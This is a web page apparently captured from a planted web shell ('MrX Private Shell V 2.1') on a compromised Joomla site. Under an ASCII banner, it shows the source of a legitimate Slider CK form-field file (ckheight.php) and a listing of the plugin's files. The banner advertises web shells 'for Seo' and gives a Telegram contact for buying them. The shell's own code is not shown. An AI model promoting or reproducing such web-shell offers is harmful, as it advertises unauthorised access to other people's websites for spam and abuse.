__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @copyright Copyright (C) 2011-2019 Cedric KEIFLIN alias ced1870
* https://www.joomlack.fr
* @license GNU/GPL
* */
defined('JPATH_PLATFORM') or die;
class JFormFieldCkheight extends JFormField {
/**
* The form field type.
*
* @var string
*
* @since 11.1
*/
protected $type = 'ckheight';
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 11.1
*/
protected function getInput() {
// Initialize some field attributes.
$icon = $this->element['icon'];
$suffix = $this->element['suffix'];
$size = $this->element['size'] ? ' size="' . (int) $this->element['size'] . '"' : '';
$maxLength = $this->element['maxlength'] ? ' maxlength="' . (int) $this->element['maxlength'] . '"' : '';
$class = $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : '';
$readonly = ((string) $this->element['readonly'] == 'true') ? ' readonly="readonly"' : '';
$disabled = ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : '';
$defautlwidth = $suffix ? '128px' : '150px';
$styles = ' style="width:' . $defautlwidth . ';' . $this->element['styles'] . '"';
// Initialize JavaScript field attributes.
$onchange = $this->element['onchange'] ? ' onchange="' . (string) $this->element['onchange'] . '"' : '';
$html = $icon ? '<div style="display:inline-block;vertical-align:top;margin-top:4px;width:20px;"><img src="' . $this->mediaPath . $icon . '" style="margin-right:5px;" /></div>' : '<div style="display:inline-block;width:20px;"></div>';
$html .= '<div class="ckbutton-group"><input type="text" name="' . $this->name . '" id="' . $this->id . '"' . ' value="'
. htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') . '"' . $class . $size . $disabled . $readonly . $onchange . $maxLength . $styles . '/>';
$html .= '<span class="ckbutton" onclick="CKBox.open({handler: \'inline\', content: \'ckheightfieldhelp\', style: {padding: \'10px\'}, size: {x: \'800px\', y: \'550px\'}})"><i class="fas fa-info"></i></span></div>';
$html .= '<div id="ckheightfieldhelp" style="display: none;"><h3>' . JText::_('SLIDERCK_HEIGHT_FIELD_HELP_TITLE') . '</h3>
<p>' . JText::_('SLIDERCK_HEIGHT_FIELD_HELP_1') . '</p>
<p><b>' . JText::_('SLIDERCK_HEIGHT_FIELD_HELP_2') . '</b></p>
<p>' . JText::_('SLIDERCK_HEIGHT_FIELD_HELP_3') . '</p>
<p>' . JText::_('SLIDERCK_HEIGHT_FIELD_HELP_4') . '</p>
<p style="text-align:center;padding:10px;font-size: 18px;">1280 x 800 px</p>
<p>' . JText::_('SLIDERCK_HEIGHT_FIELD_HELP_5') . '</p>
<p><b>' . JText::_('SLIDERCK_CALCULATOR') . '</b></p>
<p><label for="ckheightfieldhelpheight">' . JText::_('SLIDERCK_HEIGHT_LABEL') . '</label><input type="text" id="ckheightfieldhelpheight" onchange="ckHeightFieldHelpCalculator()"/></p>
<p><label for="ckheightfieldhelpwidth">' . JText::_('SLIDERCK_WIDTH_LABEL') . '</label><input type="text" id="ckheightfieldhelpwidth" onchange="ckHeightFieldHelpCalculator()" /></p>
<p><label for="ckheightfieldhelpratio">' . JText::_('SLIDERCK_RATIO_LABEL') . '</label><input type="text" id="ckheightfieldhelpratio" style="font-size: 18px;" /></p>
<script>function ckHeightFieldHelpCalculator() {
document.getElementById("ckheightfieldhelpratio").value = parseFloat(document.getElementById("ckheightfieldhelpheight").value) / parseFloat(document.getElementById("ckheightfieldhelpwidth").value) * 100;
}</script>
</div>';
return $html;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ckbackground.php | File | 633 B | 0664 |
|
| ckcolor.php | File | 2.18 KB | 0664 |
|
| ckdocumentation.php | File | 763 B | 0664 |
|
| ckfolderlist.php | File | 1.9 KB | 0664 |
|
| ckformfield.php | File | 1.67 KB | 0664 |
|
| ckheight.php | File | 3.4 KB | 0664 |
|
| ckinfo.php | File | 2.46 KB | 0664 |
|
| cklayout.php | File | 3.77 KB | 0664 |
|
| cklight.php | File | 1.21 KB | 0664 |
|
| cklist.php | File | 2.22 KB | 0664 |
|
| ckmigrate.php | File | 4.64 KB | 0664 |
|
| ckpro.php | File | 917 B | 0664 |
|
| ckproducts.php | File | 2.65 KB | 0664 |
|
| ckproonly.php | File | 1.14 KB | 0664 |
|
| ckradio.php | File | 2.26 KB | 0664 |
|
| ckslidesmanager.php | File | 3.56 KB | 0664 |
|
| cksource.php | File | 2.13 KB | 0664 |
|
| ckspacer.php | File | 1.56 KB | 0664 |
|
| ckstyle.php | File | 3.22 KB | 0664 |
|
| cktext.php | File | 1.91 KB | 0664 |
|
| sliderckcolor.php | File | 901 B | 0664 |
|
| sliderckinterface.php | File | 1.89 KB | 0664 |
|
| slidercklist.php | File | 951 B | 0664 |
|
| sliderckradio.php | File | 1.09 KB | 0664 |
|
| sliderckspacer.php | File | 1.55 KB | 0664 |
|
| slidercktext.php | File | 843 B | 0664 |
|